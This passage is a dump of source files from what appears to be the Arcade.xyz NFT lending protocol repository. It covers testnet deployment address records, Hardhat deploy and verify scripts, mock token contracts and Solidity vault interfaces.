"0x65BE561F27de86270b414ec8f6d43F40e98ceDCa", 9 | "contractImplementationAddress": "", 10 | "constructorArgs": [] 11 | }, 12 | "VaultFactory": { 13 | "contractAddress": "0xd69684e0e8107a968A097ad4D0B419E22268e065", 14 | "contractImplementationAddress": "0xC06f3ec8601dC3e8116EDd05d5A1721DC2d7250E", 15 | "constructorArgs": [] 16 | }, 17 | "FeeController": { 18 | "contractAddress": "0xf9db234Ac1893EEB3365733b17bf7E46E65F70a7", 19 | "contractImplementationAddress": "", 20 | "constructorArgs": [] 21 | }, 22 | "BorrowerNote": { 23 | "contractAddress": "0x6a6125525379763F8980ff9525170dF00cc5e59A", 24 | "constructorArgs": [ 25 | "Arcade.xyz BorrowerNote", 26 | "aBN" 27 | ] 28 | }, 29 | "LenderNote": { 30 | "contractAddress": "0x1f2DFcFEA1C2A7190225635b05075f00ECDD8eAA", 31 | "constructorArgs": [ 32 | "Arcade.xyz LenderNote", 33 | "aLN" 34 | ] 35 | }, 36 | "LoanCore": { 37 | "contractAddress": "0x9988D4918d85A814149225642175a4f7E5992fd9", 38 | "contractImplementationAddress": "0x10537932a0753c5C262814A3a0b0b4Dc7D4D80ca", 39 | "constructorArgs": [] 40 | }, 41 | "RepaymentController": { 42 | "contractAddress": "0x4cf03ba5332BBFEe54DB0701f15B480c39bC54B1", 43 | "contractImplementationAddress": "", 44 | "constructorArgs": [ 45 | "0x9988D4918d85A814149225642175a4f7E5992fd9" 46 | ] 47 | }, 48 | "OriginationController": { 49 | "contractAddress": "0x8334812a584b5F7cB7F794484e07692E1748De7C", 50 | "contractImplementationAddress": "0x27Ed938FF4d532332C2701866D7869EDcB39d7E4", 51 | "constructorArgs": [] 52 | } 53 | } -------------------------------------------------------------------------------- /.deployments/ropsten/ropsten-1655513426.json: -------------------------------------------------------------------------------- 1 | { 2 | "CallWhitelist": { 3 | "contractAddress": "0x349A026A43FFA8e2Ab4c4e59FCAa93F87Bd8DdeE", 4 | "contractImplementationAddress": "", 5 | "constructorArgs": [] 6 | }, 7 | "AssetVault": { 8 | "contractAddress": "0xecBaaC1AD75d9444B621d309B0F9C045455d78F5", 9 | "contractImplementationAddress": "", 10 | "constructorArgs": [] 11 | }, 12 | "VaultFactory": { 13 | "contractAddress": "0x81b2F8Fc75Bab64A6b144aa6d2fAa127B4Fa7fD9", 14 | "contractImplementationAddress": "0xC06f3ec8601dC3e8116EDd05d5A1721DC2d7250E", 15 | "constructorArgs": [] 16 | }, 17 | "FeeController": { 18 | "contractAddress": "0xb39dAB85FA05C381767FF992cCDE4c94619993d4", 19 | "contractImplementationAddress": "", 20 | "constructorArgs": [] 21 | }, 22 | "BorrowerNote": { 23 | "contractAddress": "0x2DF5C801F2f082287241C8CB7f3D517C3cbA2620", 24 | "constructorArgs": [ 25 | "Arcade.xyz BorrowerNote", 26 | "aBN" 27 | ] 28 | }, 29 | "LenderNote": { 30 | "contractAddress": "0x4c52ca29388A8A854095Fd2BeB83191D68DC840b", 31 | "constructorArgs": [ 32 | "Arcade.xyz LenderNote", 33 | "aLN" 34 | ] 35 | }, 36 | "LoanCore": { 37 | "contractAddress": "0xE133dF5D7dE0785E77860FEC39e295c4aBB0489F", 38 | "contractImplementationAddress": "0x10537932a0753c5C262814A3a0b0b4Dc7D4D80ca", 39 | "constructorArgs": [] 40 | }, 41 | "RepaymentController": { 42 | "contractAddress": "0x7354334e99Dcd64F964510129215Aa28aad887BC", 43 | "contractImplementationAddress": "", 44 | "constructorArgs": [ 45 | "0xE133dF5D7dE0785E77860FEC39e295c4aBB0489F" 46 | ] 47 | }, 48 | "OriginationController": { 49 | "contractAddress": "0xcDFd42B5695f45daBDbaE0B5356d823CD38e83a7", 50 | "contractImplementationAddress": "0x27Ed938FF4d532332C2701866D7869EDcB39d7E4", 51 | "constructorArgs": [] 52 | } 53 | } -------------------------------------------------------------------------------- /.deployments/ropsten/ropsten-1656377188.json: -------------------------------------------------------------------------------- 1 | { 2 | "CallWhitelist": { 3 | "contractAddress": "0xB81e4d5Ed6aC85Cf6D313134d349550db076fFB6", 4 | "contractImplementationAddress": "", 5 | "constructorArgs": [] 6 | }, 7 | "AssetVault": { 8 | "contractAddress": "0x3499F7Da254b528b08fb28fDf18DeD3C92766477", 9 | "contractImplementationAddress": "", 10 | "constructorArgs": [] 11 | }, 12 | "VaultFactory": { 13 | "contractAddress": "0x93aDe424cbab1CF8165A803A2aA84156a41a7b5E", 14 | "contractImplementationAddress": "0xC06f3ec8601dC3e8116EDd05d5A1721DC2d7250E", 15 | "constructorArgs": [] 16 | }, 17 | "FeeController": { 18 | "contractAddress": "0x9eB0099Ed819D9dd24A3a62D5aC470DC8A8Edcac", 19 | "contractImplementationAddress": "", 20 | "constructorArgs": [] 21 | }, 22 | "BorrowerNote": { 23 | "contractAddress": "0x7E08D2310016512B03e2AF51ac23bEE7d0DDF83E", 24 | "constructorArgs": [ 25 | "Arcade.xyz BorrowerNote", 26 | "aBN" 27 | ] 28 | }, 29 | "LenderNote": { 30 | "contractAddress": "0xAbfD9D9E4157695DB5812eeE279D923a4f948Df0", 31 | "constructorArgs": [ 32 | "Arcade.xyz LenderNote", 33 | "aLN" 34 | ] 35 | }, 36 | "LoanCore": { 37 | "contractAddress": "0x07352eD030C6fd8d12f8258d2DF6f99Cba533dC9", 38 | "contractImplementationAddress": "0x10537932a0753c5C262814A3a0b0b4Dc7D4D80ca", 39 | "constructorArgs": [] 40 | }, 41 | "RepaymentController": { 42 | "contractAddress": "0x16D99EC34AA91162D71c84BCbE7a7EaD5908B8E2", 43 | "contractImplementationAddress": "", 44 | "constructorArgs": [ 45 | "0x07352eD030C6fd8d12f8258d2DF6f99Cba533dC9" 46 | ] 47 | }, 48 | "OriginationController": { 49 | "contractAddress": "0x0Ee071bd729BD76BEE5A1E5A08D96ae1dE4D6Ab0", 50 | "contractImplementationAddress": "0x27Ed938FF4d532332C2701866D7869EDcB39d7E4", 51 | "constructorArgs": [] 52 | } 53 | } -------------------------------------------------------------------------------- /.deployments/ropsten/ropsten-1656377473.json: -------------------------------------------------------------------------------- 1 | { 2 | "CallWhitelist": { 3 | "contractAddress": "0x677EaE7f60266608eD2D1F9a75021102a5E69c1B", 4 | "contractImplementationAddress": "", 5 | "constructorArgs": [] 6 | }, 7 | "AssetVault": { 8 | "contractAddress": "0xcF739FBe3cD3D265AF5b29fd00Ec5f3F4832528C", 9 | "contractImplementationAddress": "", 10 | "constructorArgs": [] 11 | }, 12 | "VaultFactory": { 13 | "contractAddress": "0x144b1535A3FF4007Aad8921419EE2e02CFdB8e1d", 14 | "contractImplementationAddress": "0xC06f3ec8601dC3e8116EDd05d5A1721DC2d7250E", 15 | "constructorArgs": [] 16 | }, 17 | "FeeController": { 18 | "contractAddress": "0xFDda20a20cb4249e73e3356f468DdfdfB61483F6", 19 | "contractImplementationAddress": "", 20 | "constructorArgs": [] 21 | }, 22 | "BorrowerNote": { 23 | "contractAddress": "0x236fa00e097D1263642d0b060e68424b5daC02D8", 24 | "constructorArgs": [ 25 | "Arcade.xyz BorrowerNote", 26 | "aBN" 27 | ] 28 | }, 29 | "LenderNote": { 30 | "contractAddress": "0x8bb8fb16995CCFC92e859D4b453001ba618F9555", 31 | "constructorArgs": [ 32 | "Arcade.xyz LenderNote", 33 | "aLN" 34 | ] 35 | }, 36 | "LoanCore": { 37 | "contractAddress": "0xB4515A8e5616005f7138D9Eb25b581362d9FDB95", 38 | "contractImplementationAddress": "0x10537932a0753c5C262814A3a0b0b4Dc7D4D80ca", 39 | "constructorArgs": [] 40 | }, 41 | "RepaymentController": { 42 | "contractAddress": "0x236Cd3A75a78722837A5606a120FBf023FF984a9", 43 | "contractImplementationAddress": "", 44 | "constructorArgs": [ 45 | "0xB4515A8e5616005f7138D9Eb25b581362d9FDB95" 46 | ] 47 | }, 48 | "OriginationController": { 49 | "contractAddress": "0xc0Af1aAd434730e9D2E0dE3d11A81c964C683704", 50 | "contractImplementationAddress": "0x27Ed938FF4d532332C2701866D7869EDcB39d7E4", 51 | "constructorArgs": [] 52 | } 53 | } -------------------------------------------------------------------------------- /.deployments/ropsten/ropsten-1656378124.json: -------------------------------------------------------------------------------- 1 | { 2 | "CallWhitelist": { 3 | "contractAddress": "0x094Db3031258D6204a4CFc99415EB66F9A01A8C6", 4 | "contractImplementationAddress": "", 5 | "constructorArgs": [] 6 | }, 7 | "AssetVault": { 8 | "contractAddress": "0x2061307B91865D08F2e7D2698573562d6cCE4EC1", 9 | "contractImplementationAddress": "", 10 | "constructorArgs": [] 11 | }, 12 | "VaultFactory": { 13 | "contractAddress": "0x3bbd0B701755130f14EbB81c8581e1be55eB6B15", 14 | "contractImplementationAddress": "0xC06f3ec8601dC3e8116EDd05d5A1721DC2d7250E", 15 | "constructorArgs": [] 16 | }, 17 | "FeeController": { 18 | "contractAddress": "0x68cb7e8eE03cA8e931117B9F20705A8d8058cAe2", 19 | "contractImplementationAddress": "", 20 | "constructorArgs": [] 21 | }, 22 | "BorrowerNote": { 23 | "contractAddress": "0xA30437DE35C6aba3B33Caf88A0800372d4192CfE", 24 | "constructorArgs": [ 25 | "Arcade.xyz BorrowerNote", 26 | "aBN" 27 | ] 28 | }, 29 | "LenderNote": { 30 | "contractAddress": "0xAE46c87e211be6089C021375e08B5CAacf0fCA88", 31 | "constructorArgs": [ 32 | "Arcade.xyz LenderNote", 33 | "aLN" 34 | ] 35 | }, 36 | "LoanCore": { 37 | "contractAddress": "0x413DC7055ab160FD4fbC48B082011a4B77cBF7a9", 38 | "contractImplementationAddress": "0x10537932a0753c5C262814A3a0b0b4Dc7D4D80ca", 39 | "constructorArgs": [] 40 | }, 41 | "RepaymentController": { 42 | "contractAddress": "0x3a0f9a98714Ed4a36CD5EbC07f364f39C88c2e8A", 43 | "contractImplementationAddress": "", 44 | "constructorArgs": [ 45 | "0x413DC7055ab160FD4fbC48B082011a4B77cBF7a9" 46 | ] 47 | }, 48 | "OriginationController": { 49 | "contractAddress": "0x4B95640d56f81Fc851F952793f4e5485E352bED2", 50 | "contractImplementationAddress": "0x27Ed938FF4d532332C2701866D7869EDcB39d7E4", 51 | "constructorArgs": [] 52 | } 53 | } -------------------------------------------------------------------------------- /scripts/utils/deploy-assets.ts: -------------------------------------------------------------------------------- 1 | import { ethers } from "hardhat"; 2 | 3 | import { MockERC1155Metadata, MockERC20, MockERC721Metadata } from "../../typechain"; 4 | 5 | import { SECTION_SEPARATOR } from "./bootstrap-tools"; 6 | 7 | interface DeployedNFT { 8 | punks: MockERC721Metadata; 9 | art: MockERC721Metadata; 10 | beats: MockERC1155Metadata; 11 | weth: MockERC20; 12 | pawnToken: MockERC20; 13 | usd: MockERC20; 14 | } 15 | 16 | export async function deployNFTs(): Promise { 17 | console.log("Deploying NFTs...\n"); 18 | const erc721Factory = await ethers.getContractFactory("MockERC721Metadata"); 19 | const erc1155Factory = await ethers.getContractFactory("MockERC1155Metadata"); 20 | 21 | const punks = await erc721Factory.deploy("PawnFiPunks", "PFPUNKS"); 22 | console.log("(ERC721) PawnFiPunks deployed to:", punks.address); 23 | 24 | const art = await erc721Factory.deploy("PawnArt.io", "PWART"); 25 | console.log("(ERC721) PawnArt.io deployed to:", art.address); 26 | 27 | const beats = await erc1155Factory.deploy(); 28 | console.log("(ERC1155) PawnBeats deployed to:", beats.address); 29 | 30 | // Deploy some ERC20s 31 | console.log(SECTION_SEPARATOR); 32 | console.log("Deploying Tokens...\n"); 33 | const erc20Factory = await ethers.getContractFactory("ERC20PresetMinterPauser"); 34 | const erc20WithDecimalsFactory = await ethers.getContractFactory("MockERC20WithDecimals"); 35 | 36 | const weth = await erc20Factory.deploy("Wrapped Ether", "WETH"); 37 | console.log("(ERC20) WETH deployed to:", weth.address); 38 | 39 | const pawnToken = await erc20Factory.deploy("PawnToken", "PAWN"); 40 | console.log("(ERC20) PAWN deployed to:", pawnToken.address); 41 | 42 | const usd = await erc20WithDecimalsFactory.deploy("USD Stablecoin", "PUSD", 6); 43 | console.log("(ERC20) PUSD deployed to:", usd.address); 44 | 45 | return { punks, art, beats, weth, pawnToken, usd }; 46 | } 47 | -------------------------------------------------------------------------------- /.deployments/rinkeby/rinkeby-1660709165.json: -------------------------------------------------------------------------------- 1 | { 2 | "CallWhitelist": { 3 | "contractAddress": "0x6aF8F4f46eA94AAe41438a016B8B011061389593", 4 | "contractImplementationAddress": "", 5 | "constructorArgs": [] 6 | }, 7 | "AssetVault": { 8 | "contractAddress": "0xbf95e7fFFBb512D7AD3bD488B5D06e5d26867F3b", 9 | "contractImplementationAddress": "", 10 | "constructorArgs": [] 11 | }, 12 | "VaultFactory": { 13 | "contractAddress": "0x771f16571925eEBE893b890e5cc6189de58A3A1e", 14 | "contractImplementationAddress": "0x7303D4C562b33254afE389f5772De07AaEfc3b5B", 15 | "constructorArgs": [] 16 | }, 17 | "FeeController": { 18 | "contractAddress": "0x530b6e12d3469Ec24e4CA80842c518F5F481c638", 19 | "contractImplementationAddress": "", 20 | "constructorArgs": [] 21 | }, 22 | "BorrowerNote": { 23 | "contractAddress": "0xDD589277B957CDC3D0ef4A33f504108D2A818aBC", 24 | "constructorArgs": [ 25 | "Arcade.xyz BorrowerNote", 26 | "aBN" 27 | ] 28 | }, 29 | "LenderNote": { 30 | "contractAddress": "0xF32D2d9a6E9d230e55f4FE8d93FbA18428d689a4", 31 | "constructorArgs": [ 32 | "Arcade.xyz LenderNote", 33 | "aLN" 34 | ] 35 | }, 36 | "LoanCore": { 37 | "contractAddress": "0x5Bb7b426c8cC183780e85534343ac0E80DCd3777", 38 | "contractImplementationAddress": "0x90D7b6021eECAa42a3B0A070367421e842b4dFd4", 39 | "constructorArgs": [] 40 | }, 41 | "RepaymentController": { 42 | "contractAddress": "0xbc6D895611f49916e24cCafc7cEDBF36575C07E1", 43 | "contractImplementationAddress": "", 44 | "constructorArgs": [ 45 | "0x5Bb7b426c8cC183780e85534343ac0E80DCd3777" 46 | ] 47 | }, 48 | "OriginationController": { 49 | "contractAddress": "0x65BE561F27de86270b414ec8f6d43F40e98ceDCa", 50 | "contractImplementationAddress": "0x24611Fad669350cA869FBed4B62877d1a409dA12", 51 | "constructorArgs": [] 52 | }, 53 | "ArcadeItemsVerifier": { 54 | "contractAddress": "0xd69684e0e8107a968A097ad4D0B419E22268e065", 55 | "contractImplementationAddress": "", 56 | "constructorArgs": [] 57 | } 58 | } -------------------------------------------------------------------------------- /.deployments/ropsten/ropsten-1658509923.json: -------------------------------------------------------------------------------- 1 | { 2 | "CallWhitelist": { 3 | "contractAddress": "0x269363665Dbb1582b143099a3cb467E98a476D55", 4 | "contractImplementationAddress": "", 5 | "constructorArgs": [] 6 | }, 7 | "AssetVault": { 8 | "contractAddress": "0xA3e495088c2481Fe76F28b16357654fCE13Cc5e9", 9 | "contractImplementationAddress": "", 10 | "constructorArgs": [] 11 | }, 12 | "VaultFactory": { 13 | "contractAddress": "0xFde563e83FA013E3EECCf0e357C6c6759784cFcC", 14 | "contractImplementationAddress": "0xe5B12BEfaf3a91065DA7FDD461dEd2d8F8ECb7BE", 15 | "constructorArgs": [] 16 | }, 17 | "FeeController": { 18 | "contractAddress": "0x92ED78b41537C902Ad287608d8535bb6780A7618", 19 | "contractImplementationAddress": "", 20 | "constructorArgs": [] 21 | }, 22 | "BorrowerNote": { 23 | "contractAddress": "0x89bc08BA00f135d608bc335f6B33D7a9ABCC98aF", 24 | "constructorArgs": [ 25 | "Arcade.xyz BorrowerNote", 26 | "aBN" 27 | ] 28 | }, 29 | "LenderNote": { 30 | "contractAddress": "0x74241e1A9c021643289476426B9B70229Ab40D53", 31 | "constructorArgs": [ 32 | "Arcade.xyz LenderNote", 33 | "aLN" 34 | ] 35 | }, 36 | "LoanCore": { 37 | "contractAddress": "0xC39c5D2FC523F26B5A83aB6c0C802C6E80a4Df1D", 38 | "contractImplementationAddress": "0xB7BFcca7D7ff0f371867B770856FAc184B185878", 39 | "constructorArgs": [] 40 | }, 41 | "RepaymentController": { 42 | "contractAddress": "0x1B6e58AaE43bFd2a435AA348F3328f3137DDA544", 43 | "contractImplementationAddress": "", 44 | "constructorArgs": [ 45 | "0xC39c5D2FC523F26B5A83aB6c0C802C6E80a4Df1D" 46 | ] 47 | }, 48 | "OriginationController": { 49 | "contractAddress": "0x7a49EB8E95508244ec416f2BE4dCa827756FD2B7", 50 | "contractImplementationAddress": "0x4501C338203Ad2510C7c71A6ce26d70A70FB809d", 51 | "constructorArgs": [] 52 | }, 53 | "ArcadeItemsVerifier": { 54 | "contractAddress": "0x97B5c9c08f83538e575e629F2251dD01aa753Bd8", 55 | "contractImplementationAddress": "", 56 | "constructorArgs": [] 57 | } 58 | } -------------------------------------------------------------------------------- /.deployments/ropsten/ropsten-1658705799.json: -------------------------------------------------------------------------------- 1 | { 2 | "CallWhitelist": { 3 | "contractAddress": "0x57037D3628265D298a02C767899765C634921086", 4 | "contractImplementationAddress": "", 5 | "constructorArgs": [] 6 | }, 7 | "AssetVault": { 8 | "contractAddress": "0x073E324a95c505c8ffa4f69629a495F461aafC2d", 9 | "contractImplementationAddress": "", 10 | "constructorArgs": [] 11 | }, 12 | "VaultFactory": { 13 | "contractAddress": "0xdc4531265C50Aab4E566E6319041844cb39211D0", 14 | "contractImplementationAddress": "0xe5B12BEfaf3a91065DA7FDD461dEd2d8F8ECb7BE", 15 | "constructorArgs": [] 16 | }, 17 | "FeeController": { 18 | "contractAddress": "0xAdfe7aD062b5521B703623C2FdEBA14ef66605a9", 19 | "contractImplementationAddress": "", 20 | "constructorArgs": [] 21 | }, 22 | "BorrowerNote": { 23 | "contractAddress": "0x53E62D3aF052663F3aeA196935Eb0b6c61ef00b5", 24 | "constructorArgs": [ 25 | "Arcade.xyz BorrowerNote", 26 | "aBN" 27 | ] 28 | }, 29 | "LenderNote": { 30 | "contractAddress": "0xcECf15bf1367289321a521715DB6707dEF8667e9", 31 | "constructorArgs": [ 32 | "Arcade.xyz LenderNote", 33 | "aLN" 34 | ] 35 | }, 36 | "LoanCore": { 37 | "contractAddress": "0xD4dEFbe1246B9F37323B6D49Ca9F3Fa406ADe2A8", 38 | "contractImplementationAddress": "0xB7BFcca7D7ff0f371867B770856FAc184B185878", 39 | "constructorArgs": [] 40 | }, 41 | "RepaymentController": { 42 | "contractAddress": "0x4Fc67A4e94B3B05e22E5b11DE138e8649b683095", 43 | "contractImplementationAddress": "", 44 | "constructorArgs": [ 45 | "0xD4dEFbe1246B9F37323B6D49Ca9F3Fa406ADe2A8" 46 | ] 47 | }, 48 | "OriginationController": { 49 | "contractAddress": "0xF3004EAA3a2e7373b75385c0CC5B206D70406583", 50 | "contractImplementationAddress": "0x4501C338203Ad2510C7c71A6ce26d70A70FB809d", 51 | "constructorArgs": [] 52 | }, 53 | "ArcadeItemsVerifier": { 54 | "contractAddress": "0x8383998b69758Bb754Be95F55CD59e5bBd30202a", 55 | "contractImplementationAddress": "", 56 | "constructorArgs": [] 57 | } 58 | } -------------------------------------------------------------------------------- /.deployments/ropsten/ropsten-1658706567.json: -------------------------------------------------------------------------------- 1 | { 2 | "CallWhitelist": { 3 | "contractAddress": "0x1F59f83C3962481e8D490c9d65484202e4a3f9DB", 4 | "contractImplementationAddress": "", 5 | "constructorArgs": [] 6 | }, 7 | "AssetVault": { 8 | "contractAddress": "0xac33E4abf40293452422283730ed54A6af139E7B", 9 | "contractImplementationAddress": "", 10 | "constructorArgs": [] 11 | }, 12 | "VaultFactory": { 13 | "contractAddress": "0xE237f018D2F6C719107Ac38903C81f4791372dFB", 14 | "contractImplementationAddress": "0xe5B12BEfaf3a91065DA7FDD461dEd2d8F8ECb7BE", 15 | "constructorArgs": [] 16 | }, 17 | "FeeController": { 18 | "contractAddress": "0x5783d0698a053762bcC9EE0B403B26448dBb0414", 19 | "contractImplementationAddress": "", 20 | "constructorArgs": [] 21 | }, 22 | "BorrowerNote": { 23 | "contractAddress": "0xbc72894632314050d55616E562148391de665C36", 24 | "constructorArgs": [ 25 | "Arcade.xyz BorrowerNote", 26 | "aBN" 27 | ] 28 | }, 29 | "LenderNote": { 30 | "contractAddress": "0xeC61f859d7756fC3055a338F57993076D5Be9A76", 31 | "constructorArgs": [ 32 | "Arcade.xyz LenderNote", 33 | "aLN" 34 | ] 35 | }, 36 | "LoanCore": { 37 | "contractAddress": "0x08D671C858A0649BEc581190F061C482800f49A4", 38 | "contractImplementationAddress": "0xB7BFcca7D7ff0f371867B770856FAc184B185878", 39 | "constructorArgs": [] 40 | }, 41 | "RepaymentController": { 42 | "contractAddress": "0x3CA0C43158c0Ff8cB5c8c163abA8274F839eEaBE", 43 | "contractImplementationAddress": "", 44 | "constructorArgs": [ 45 | "0x08D671C858A0649BEc581190F061C482800f49A4" 46 | ] 47 | }, 48 | "OriginationController": { 49 | "contractAddress": "0xc2dfE100BAb914BC92401194A6920B52dAa2c9eF", 50 | "contractImplementationAddress": "0x4501C338203Ad2510C7c71A6ce26d70A70FB809d", 51 | "constructorArgs": [] 52 | }, 53 | "ArcadeItemsVerifier": { 54 | "contractAddress": "0xc6ca302F2e78d085294e6D07dDdf0D73F5aB4f68", 55 | "contractImplementationAddress": "", 56 | "constructorArgs": [] 57 | } 58 | } -------------------------------------------------------------------------------- /contracts/vault/OwnableERC721.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; 6 | 7 | import { OERC721_CallerNotOwner } from "../errors/Vault.sol"; 8 | 9 | /** 10 | * @title OwnableERC721 11 | * @author Non-Fungible Technologies, Inc. 12 | * 13 | * Uses ERC721 ownership for access control to a set of contracts. 14 | * Ownership of underlying contract determined by ownership of a token ID, 15 | * where the token ID converts to an on-chain address. 16 | */ 17 | abstract contract OwnableERC721 { 18 | // ============================================ STATE ============================================== 19 | 20 | /// @dev The ERC721 token that contract owners should have ownership of. 21 | address public ownershipToken; 22 | 23 | // ========================================= VIEW FUNCTIONS ========================================= 24 | 25 | /** 26 | * @notice Specifies the owner of the underlying token ID, derived 27 | * from the contract address of the contract implementing. 28 | * 29 | * @return ownerAddress The owner of the underlying token derived from 30 | * the calling address. 31 | */ 32 | function owner() public view virtual returns (address ownerAddress) { 33 | return IERC721(ownershipToken).ownerOf(uint256(uint160(address(this)))); 34 | } 35 | 36 | // ============================================ HELPERS ============================================= 37 | 38 | /** 39 | * @dev Set the ownership token - the ERC721 that specified who controls 40 | * defined addresses. 41 | */ 42 | function _setNFT(address _ownershipToken) internal { 43 | ownershipToken = _ownershipToken; 44 | } 45 | 46 | /** 47 | * @dev Similar to Ownable - checks the method is being called by the owner, 48 | * where the owner is defined by the token ID in the ownership token which 49 | * maps to the calling contract address. 50 | */ 51 | modifier onlyOwner() { 52 | if (owner() != msg.sender) revert OERC721_CallerNotOwner(msg.sender); 53 | _; 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /contracts/test/MockERC1155.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/utils/Context.sol"; 6 | import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; 7 | import "@openzeppelin/contracts/utils/Counters.sol"; 8 | 9 | contract MockERC1155 is Context, ERC1155 { 10 | using Counters for Counters.Counter; 11 | Counters.Counter private _tokenIdTracker; 12 | 13 | /** 14 | * @dev Initializes ERC1155 token 15 | */ 16 | constructor() ERC1155("") {} 17 | 18 | /** 19 | * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. 20 | * 21 | * Emits a {TransferSingle} event. 22 | * 23 | * Requirements: 24 | * 25 | * - `account` cannot be the zero address. 26 | * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the 27 | * acceptance magic value. 28 | */ 29 | function mint(address to, uint256 amount) public virtual { 30 | _mint(to, _tokenIdTracker.current(), amount, ""); 31 | _tokenIdTracker.increment(); 32 | } 33 | } 34 | 35 | contract MockERC1155Metadata is MockERC1155 { 36 | using Counters for Counters.Counter; 37 | Counters.Counter private _tokenIdTracker; 38 | 39 | mapping(uint256 => string) public tokenURIs; 40 | 41 | constructor() MockERC1155() {} 42 | 43 | function mint( 44 | address to, 45 | uint256 amount, 46 | string memory tokenUri 47 | ) public virtual { 48 | uint256 tokenId = _tokenIdTracker.current(); 49 | _mint(to, tokenId, amount, ""); 50 | _tokenIdTracker.increment(); 51 | _setTokenURI(tokenId, tokenUri); 52 | } 53 | 54 | function mintBatch( 55 | address to, 56 | uint256[] memory ids, 57 | uint256[] memory amounts, 58 | string[] memory tokenUris, 59 | bytes memory data 60 | ) public virtual { 61 | super._mintBatch(to, ids, amounts, data); 62 | 63 | for (uint256 i = 0; i < ids.length; i++) { 64 | _setTokenURI(ids[i], tokenUris[i]); 65 | } 66 | } 67 | 68 | function _setTokenURI(uint256 tokenId, string memory tokenUri) internal { 69 | tokenURIs[tokenId] = tokenUri; 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /contracts/interfaces/IAssetVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "./ICallWhitelist.sol"; 6 | 7 | interface IAssetVault { 8 | // ============= Events ============== 9 | 10 | event WithdrawEnabled(address operator); 11 | event WithdrawERC20(address indexed operator, address indexed token, address recipient, uint256 amount); 12 | event WithdrawERC721(address indexed operator, address indexed token, address recipient, uint256 tokenId); 13 | event WithdrawPunk(address indexed operator, address indexed token, address recipient, uint256 tokenId); 14 | 15 | event WithdrawERC1155( 16 | address indexed operator, 17 | address indexed token, 18 | address recipient, 19 | uint256 tokenId, 20 | uint256 amount 21 | ); 22 | 23 | event WithdrawETH(address indexed operator, address indexed recipient, uint256 amount); 24 | event Call(address indexed operator, address indexed to, bytes data); 25 | event Approve(address indexed operator, address indexed token, address indexed spender, uint256 amount); 26 | 27 | // ================= Initializer ================== 28 | 29 | function initialize(address _whitelist) external; 30 | 31 | // ================ View Functions ================ 32 | 33 | function withdrawEnabled() external view returns (bool); 34 | 35 | function whitelist() external view returns (ICallWhitelist); 36 | 37 | // ================ Withdrawal Operations ================ 38 | 39 | function enableWithdraw() external; 40 | 41 | function withdrawERC20(address token, address to) external; 42 | 43 | function withdrawERC721( 44 | address token, 45 | uint256 tokenId, 46 | address to 47 | ) external; 48 | 49 | function withdrawERC1155( 50 | address token, 51 | uint256 tokenId, 52 | address to 53 | ) external; 54 | 55 | function withdrawETH(address to) external; 56 | 57 | function withdrawPunk( 58 | address punks, 59 | uint256 punkIndex, 60 | address to 61 | ) external; 62 | 63 | // ================ Utility Operations ================ 64 | 65 | function call(address to, bytes memory data) external; 66 | 67 | function callApprove(address token, address spender, uint256 amount) external; 68 | } 69 | -------------------------------------------------------------------------------- /scripts/deploy/verify-contracts.ts: -------------------------------------------------------------------------------- 1 | import fs from "fs"; 2 | import hre from "hardhat"; 3 | import { BigNumberish } from "ethers"; 4 | 5 | import { ContractData } from "./write-json"; 6 | 7 | import { SECTION_SEPARATOR, SUBSECTION_SEPARATOR } from "../utils/bootstrap-tools"; 8 | 9 | async function verifyArtifacts( 10 | contractName: string, 11 | contractAddress: string, 12 | contractImplementationAddress: string | undefined, 13 | constructorArgs: BigNumberish[], 14 | ) { 15 | console.log(`${contractName}: ${contractAddress}`); 16 | console.log(SUBSECTION_SEPARATOR); 17 | 18 | const address = contractImplementationAddress || contractAddress; 19 | 20 | // TODO: Verify proxy? 21 | try { 22 | await hre.run("verify:verify", { 23 | address, 24 | constructorArguments: constructorArgs, 25 | }); 26 | } catch (err) { 27 | if (!err.message.match(/already verified/i)) { 28 | throw err; 29 | } else { 30 | console.log("\nContract already verified."); 31 | } 32 | } 33 | 34 | console.log(`${contractName}: ${address}`, "has been verified."); 35 | console.log(SECTION_SEPARATOR); 36 | } 37 | 38 | // get data from deployments json to run verify artifacts 39 | export async function main(): Promise { 40 | // retrieve command line args array 41 | const [,,file] = process.argv; 42 | 43 | // read deployment json to get contract addresses and constructor arguments 44 | const readData = fs.readFileSync(file, 'utf-8'); 45 | const jsonData = JSON.parse(readData); 46 | 47 | // loop through jsonData to run verifyArtifacts function 48 | for (const property in jsonData) { 49 | const dataFromJson = jsonData[property]; 50 | 51 | await verifyArtifacts( 52 | property, 53 | dataFromJson.contractAddress, 54 | dataFromJson.contractImplementationAddress, 55 | dataFromJson.constructorArgs, 56 | ); 57 | } 58 | } 59 | 60 | // We recommend this pattern to be able to use async/await everywhere 61 | // and properly handle errors. 62 | if (require.main === module) { 63 | main() 64 | .then(() => process.exit(0)) 65 | .catch((error: Error) => { 66 | console.error(error); 67 | process.exit(1); 68 | }); 69 | } 70 | -------------------------------------------------------------------------------- /scripts/deploy/deploy-inventory-reporter.ts: -------------------------------------------------------------------------------- 1 | import hre, { ethers } from "hardhat"; 2 | import { SECTION_SEPARATOR, SUBSECTION_SEPARATOR } from "../utils/bootstrap-tools"; 3 | 4 | import { 5 | VaultDepositRouter, 6 | VaultInventoryReporter 7 | } from "../../typechain"; 8 | 9 | export interface DeployedResources { 10 | reporter: VaultInventoryReporter; 11 | router: VaultDepositRouter; 12 | } 13 | 14 | export async function main(): Promise { 15 | // Hardhat always runs the compile task when running scripts through it. 16 | // If this runs in a standalone fashion you may want to call compile manually 17 | // to make sure everything is compiled 18 | // await run("compile"); 19 | 20 | console.log(SECTION_SEPARATOR); 21 | 22 | const MULTISIG = "0x398e92C827C5FA0F33F171DC8E20570c5CfF330e"; 23 | const VAULT_FACTORY = "0x6e9B4c2f6Bd57b7b924d29b5dcfCa1273Ecc94A2"; // mainnet 24 | // const 